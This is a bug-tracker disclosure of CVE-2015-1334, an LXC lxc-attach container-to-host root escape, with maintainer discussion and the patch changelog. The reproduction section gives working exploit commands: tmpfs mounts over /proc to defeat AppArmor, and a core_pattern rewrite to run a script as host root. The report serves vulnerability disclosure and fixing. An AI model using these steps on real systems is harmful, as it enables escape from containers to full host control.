unprivileged guest to host real-root escape via lxc-attach

Bug #1475050 reported by Roman Fiedler on 2015-07-15
260
This bug affects 1 person
Affects Status Importance Assigned to Milestone
lxc (Ubuntu)
Undecided
Unassigned

Bug Description

During LXC security analysis (see [1]) it was found, that lxc-attach attempts to read guest mount namespace /proc entries before confining to new apparmor policy and dropping host uid/gid. By unmounting /proc within guest as root and replacing it with rogue version, lxc-attach fails to apply the new security policy and also to apply PR_SET_SECCOMP. Therefore getting "unconfined" apparmor profile requires only single invocation of lxc-attach. The unconfined settings already allow bind mounts, pivot_root and some other quite powerful syscalls, so second round of lxc-attach might not be needed. Currently second round uses host guest uid=0 process too attach to a real euid=0 process to escalate then to full host root privileges, e.g. via modifying /proc/sys/kernel/core_pattern and triggering a core dump.

Steps to reproduce:

Get unconfined:
===============

* Use SSH to get arbitrary number of unconfined sessions,
  just convenience for testing:

apt-get install openssh-server
stop ssh

Edit /etc/ssh/sshd_config to allow password login

Set root password

* Prepare to lock next lxc-attach to get "unconfined":

mount -t tmpfs tmpfs /proc/1
mknod /proc/1/status p

* Replace /bin/sh or link it to sshd instead, for testing call it directly:

lxc-attach --name testguest /usr/sbin/sshd

* In guest make apparmor fail by second tmpfs mount:

ps aux | grep lxc-attach

pid=554
mount -t tmpfs tmpfs "/proc/${pid}/attr"
touch "/proc/${pid}/attr/current"
chmod 0666 "/proc/${pid}/attr/current"
echo "" > /proc/1/status

* Use the unconfined shells:

# cat /proc/self/attr/current
lxc-container-default (enforce)

# ssh root@localhost
...
# cat /proc/self/attr/current
unconfined

* Wait for the next lxc-attach, use unconfined to escape:

lxc-attach --name testguest /bin/true

In guest:

cat <<EOF > /escape
#!/bin/sh
echo "|/bin/sh -c /var/lib/lxc/*/rootfs/escape2" > /proc/sys/kernel/core_pattern
EOF
chmod 0755 /escape

cat <<EOF > /escape2
#!/bin/sh
touch /this-should-be-on-outside
EOF
chmod 0755 /escape2

ps aux | grep lxc-attach
/root/Testing/PtraceHelper 2688

ulimit -c unlimited
sleep 100 &
kill -SEGV 3030

Affected system:

# lsb_release -rd
Description: Ubuntu 14.04.2 LTS
Release: 14.04

# apt-cache policy lxc
lxc:
  Installed: (none)
  Candidate: 1.0.7-0ubuntu0.1
  Version table:
     1.0.7-0ubuntu0.1 0
        500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages
     1.0.3-0ubuntu3 0
        500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages

[1] https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html

CVE References

Stéphane Graber (stgraber) wrote :

Ok, so that allows bypassing apparmor for both privileged containers and unprivileged containers so long as you get someone to run lxc-attach for you.

For privileged containers, that's not really an issue since there are ways of doing that and in fact more, without requiring any user intervention. That's why we don't consider privileged containers as root-safe.

For unprivileged containers, it's slightly more annoying since we do consider those to be root-safe and even with that bug, they still are, but loosing apparmor confinement is certainly not something we intended and so we should fix that bug.

Well, lxc-attach might be run by quite some "integration services" used within hosting environments, e.g. monitoring, backup, updates, automated configuration changing. As using the pipe makes it trivial to avoid the race of lxc-attach during setup, any of those calls will do, one just has to wait.

Marc Deslauriers (mdeslaur) wrote :

This is CVE-2015-1334

Stéphane Graber (stgraber) wrote :
Stéphane Graber (stgraber) wrote :
Stéphane Graber (stgraber) wrote :

There might be a second element involved, I'm currently analyzing it.

Shouldn't it be forbidden (SELinux/Apparmor put aside), to have an UID!=0 process PTRACE another one with UID=0 and not even being parent of it?

I'll try to find out, if this is an LXC-independent namespaces local root privilege escalation.

On 2015-07-17 07:30:55, Roman Fiedler wrote:
> There might be a second element involved, I'm currently analyzing it.
>
> Shouldn't it be forbidden (SELinux/Apparmor put aside), to have an
> UID!=0 process PTRACE another one with UID=0 and not even being parent
> of it?

I assume that the non-root process is in the host's user namespace and
the root process is in a user namespace that was spawned by the non-root
user in the host's user namespace? If so, I'm not sure what to expect
in that situation with user namespaces but I would at least expect YAMA
to block it when /proc/sys/kernel/yama/ptrace_scope is non-zero.

Stéphane Graber (stgraber) wrote :

LXC attaches to all namespaces at once. When it attaches to a user namespace, it becomes uid/gid -1/-1 in that namespace, until it setuid/setgid to 0/0.

The question is whether injecting code into the process at that stage (process owned by an unmappable uid/gid but present in the pid and user namespace of the container) should be allowed (probably not) and if allowed, whether the kernel recognizes that process as real root and if so, can that lead to a privilege escalation.

Serge Hallyn (serge-hallyn) wrote :

Thanks, Stéphane, patch looks simpler than I'd feared :)

@Comment 10: As demonstrated with the PtraceHelper.c attachment, currently code injection works. The good news are: it only works with setns, but not by doing crafted forks/unshare/ptrace combination within unprivileged userspace. Hence it is only local-root escalation if a real uid-0 process does the setns.

In my opinion, kernel should handle that similar to a suid-program: even when it drops privileges (in this case changes uid/ns) it must not become ptrace-able by anyone with lower privs any more. As the process started with real uid-0, this should be forbidden.

If unprivileged container is started by user but running only on subuids, those subuids (one of them mapped to 0), should also stumble over this suid-process.

As I'm no kernel core developer, I'm not sure if this implementation would be easy to do or if other workarounds would be less intrusive.

description: updated
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package lxc - 1.1.0~alpha2-0ubuntu3.3

---------------
lxc (1.1.0~alpha2-0ubuntu3.3) utopic-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file creation via unintentional symlink
    following when accessing an LXC lock file (LP: #1470842)
    - debian/patches/0009-CVE-2015-1331.patch: Use /run/lxc/lock, rather than
      /run/lock/lxc, as /run and /run/lxc is only writable by root. Based on
      patch from upstream.
    - CVE-2015-1131
  * SECURITY UPDATE: Container AppArmor/SELinux confinement breakout via
    lxc-attach using a potentially malicious container proc filesystem to
    initialize confinement (LP: #1475050)
    - debian/patches/0010-CVE-2015-1334.patch: Use the host's proc filesystem
      to set up AppArmor profile and SELinux domain transitions during
      lxc-attach. Based on patch from upstream.
    - CVE-2015-1334

 -- Tyler Hicks <email address hidden> Fri, 17 Jul 2015 10:57:56 -0500

Changed in lxc (Ubuntu):
status: New → Fix Released
information type: Private Security → Public Security
To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers